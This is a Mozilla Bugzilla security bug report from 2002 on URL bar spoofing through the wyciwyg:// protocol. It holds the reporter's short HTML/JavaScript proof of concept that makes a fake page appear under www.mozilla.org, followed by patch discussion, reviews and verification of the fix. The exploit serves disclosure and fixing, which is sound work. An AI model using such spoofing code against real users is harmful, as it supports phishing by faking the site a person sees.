Closed Bug 159659 Opened 22 years ago Closed 22 years ago

URL bar spoofing with wyciwyg://

Categories

(Core :: Security, defect)

Product:
Core
Component:
Security
Type:
defect
Priority:
Not set
Severity:
normal

Tracking

()

Status:
VERIFIED FIXED
Milestone:
mozilla1.2beta

People

(Reporter: security-bugs, Assigned: radha)

Details

(Whiteboard: [ADT2 RTM])

Attachments

(3 files, 1 obsolete file)

testcase
470 bytes, text/html
Details
patch to docshell
1.03 KB, patch
security-bugs
: review+
Details | Diff | Splinter Review
Updated patch to docshell.
1.05 KB, patch
adamlock
: review+
darin.moz
: superreview+
Details | Diff | Splinter Review 
The wyciwyg protocol allows at least spoofing windows.
Have not succeeded yet stealing info similar to the javascript trick,
though it may be possible.
Check attached file for spoofing www.mozilla.org (the spoof seems quite true).

Testcase:
------------------------------
<html>
Written by <a href="http://www.guninski.com">Georgi Guninski</a>
<br>
Check the other window.
<script>
a=window.open("javascript:s='<html><h1>Mozilla.org 0wned by <a
href=http://www.guninski.com>Georgi</a></h1></html>'");
setTimeout("a.location.href='wyciwyg://10/http://www.mozilla.org'",500);
</script>

</html>
------------------------------------
I would consider this moderately serious - it's trivial to exploit, and most
people look no farther than the URL bar to verify a site. I think the fix is to
make sure that only the history mechanism can load wyciwyg URLs.
Attached file testcase — 
Making testcase an attachment for easier verification later
Keywords: nsbeta1
Keywords: nsbeta1 → nsbeta1+
Whiteboard: [ADT2 RTM]
Target Milestone: --- → mozilla1.2alpha
Attached patch Proposed fix (obsolete) — — Splinter Review 
This simple fix modifies LocationImpl::SetHrefWithBase (called by SetHref) to
strip off wyciwyg from the URI.  The result is that when loading the testcase,
we are actually sent to http://www.mozilla.org
Agree with mstoltz. Making sure that any load of wyciwyg urls thro' docshell
happens only from history should prevent the urlbar spoofing.  Let me give it a
spin.
Assignee: mstoltz → radha
Target Milestone: mozilla1.2alpha → mozilla1.2beta
Javascript urls posting to the same screen display wyciwyg and append the
previous url to it for the Session History url and title. For example, the first
url is http://www.mozilla.org/projects/embed. Then enter
javascript:document.write('test') and the result is:

  for simple enumerator:
The SimpleEnum URL = http://www.mozilla.org/projects/embedding/
The SimpleEnum URL = wyciwyg://0/http://www.mozilla.org/projects/embedding/
  for getEntryAtIndex:
The SH Url = http://www.mozilla.org/projects/embedding/
The title = Embedding Mozilla
The SH Url = wyciwyg://0/http://www.mozilla.org/projects/embedding/
The title = wyciwyg://0/http://www.mozilla.org/projects/embedding/ 
Tested this in Mozilla 1.2a Gecko 20020910 build.

patch to docshell takes care of all loadTypes that are dis-allowed from
different sources.
Attachment #99079 - Attachment is obsolete: true
Comment on attachment 99739 [details] [diff] [review]
patch to docshell

If SchemeIs returns a failure code (which it probably won't), you should return
failure, or at least assert. If we fail to determine the scheme, we shouldn't
continue.

Could there be other cases (now or in the future) where the LOAD_CMD_NORMAL bit
is not set but we should still not allow a wyciwyg load? What about other types
of loads? Is NORMAL always set whenever the load does not come from history?

r=mstoltz if you respond to these points.
Attachment #99739 - Flags: review+
Shall attach a patch to address point #1.

Regarding point #2:

LOAD_CMD_NORMAL is set for the following types of loads,
a) link click
b) loads from urlbar, setting location.href, location.replace
c) any call to nsIWebNavigation::LoadURI() with a LOAD_BYPASS_HISTORY,
LOAD_NORMAL_REPLACE flags 
d) Any meta refresh.

wyciwyg urls will not be allowed in the above types of loads. 

wyciwyg is allowed through the docshell when user

a) presses back/forward/go menu OR uses window.history methods
b) Presses reload or shift-reload 
c) calls nsIWebNavigation::goForward(), goBack(), gotoIndex() methods.
d) Calls document.reload
e) A page is reloaded by layout due to change in charset.(loadType is
LOAD_RELOAD_CHARSET_CHANGE)

Thinking through more, I am not sure if I should not allow wyciwyg urls when
LOAD_FLAGS_CHARSET_CHANGE loadFlag is used. This kind of load is usually
initiated by layout and as far as docshell is concerned it is similar to
pressing  the reload button. But I think a  document.write() in charset change
scenario wouldn't go through docshell in which case it is a mute point. I think
nsHTMLDocument would as usual recognise a document.write()  happening in a
charset change scenario and do the usual processing which should be fine. Is it
possible for someone to misuse this load flag by calling nsIDocShell::LoadURI()
with a LOAD_FLAGS_CHARSET_CHANGE loadflag.  

Am I making a far fetched case for LOAD_FLAGS_CHARSET_CHANGE load flag?
Addresses the point mstoltz brought up on SchemeIs() failing. 

As far as future LOAD_CMD_NORMAL based load types, this segment of code should
be updated as new loadTypes are added.
Comment on attachment 99873 [details] [diff] [review]
Updated patch to docshell. 

Shouldn't it be (isWcyiwyg || NS_FAILED(rv)) in that test?

i.e. if the scheme is wcyiwyg or the method failed then return.

Otherwise r=adamlock
Attachment #99873 - Flags: review+
Comment on attachment 99873 [details] [diff] [review]
Updated patch to docshell. 

>+    if ((isWyciwyg && NS_SUCCEEDED(rv) && (aLoadType & LOAD_CMD_NORMAL)) || NS_FAILED(rv)) 
>+        return NS_ERROR_FAILURE;

how about this instead:

      if (NS_FAILED(rv) || (isWyciwyg && (aLoadType & LOAD_CMD_NORMAL)))
	  return NS_ERROR_FAILURE;

with that sr=darin
Attachment #99873 - Flags: superreview+
I'd also argue the same point I made in the other wyciwyg bug, Radha, since we
don't even care about the scheme if we're not LOAD_CMD_NORMAL, it seems silly to
check.  I think this should be

      if (aLoadType & LOAD_CMD_NORMAL) {
          PRBool isWyciwyg = PR_FALSE;
          rv = aURI->SchemeIs("wyciwyg", &isWyciwyg);
          if (NS_FAILED(rv) || isWyciwyg)
	      return NS_ERROR_FAILURE;
      }

This way we don't hurt performance in other load cases (yes I know that SchemeIs
is not a big hit, but still.)  What do you think darin?
NS_FAILED(rv) is a rare case. In fact looking through the implementation of
nsIURI::SchemeIs() it probably will never happen.  It is there for precaution,
in case the underlying implementations changed. So is the case with 
NS_SUCCEEDED(rv).

That's why I had put "isWyciwyg" first in the if condition which is the primary
deciding factor. NS_SUCCEEDED(rv) which is quite guaranteed to happen if
isWyciwyg is true and then the loadType check. NS_FAILED(rv) is at the end in
case of any mishaps in identifying the scheme.

Does anyone have anything to say about the LOAD_RELOAD_CHARSET_CHANGE. I think
it is a no-op at this time. I don't think a document.write() in a charset change
situation will go through nsDocShell::InternalLoad(). I could probably leave it
this way for now.
Status: NEW → ASSIGNED
radha: yeah, all of our SchemeIs impls won't fail... it's only for the sake of
XPCOM that we must check the return value.  perhaps someone embedder might
introduce a protocol handler that does wacky stuff :-/

as for LOAD_RELOAD_CHARSET_CHANGE, i don't really know enough about that case.
Fix checked in.
Status: ASSIGNED → RESOLVED
Closed: 22 years ago
Resolution: --- → FIXED
Verified on 2002-08-10-trunk build on Win 2000

The test case works as expected.
Status: RESOLVED → VERIFIED
Testing against latest branch (2003-02-07) on Win2000

After selecting comment #2's attachment/testcase link:
- The page loads stating "Written by Georgi Guninski Check the other window"
- A new window opens with the following text in the URL location bar: 
javascript:s='<html><h1>Mozilla.org Owned by <a
href=http://www.guninski.com>Georgi</a></h1></html>'
- The new window's page will also display "Mozilla.org Owned by Georgi"

Is this the expected behavior?

Verified Fixed on the Branch 2003-02-10-09
Group: security
sorry folks but for Seamonkey 2.0.11, this bug has reappears.  from gmail email http anchors.
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: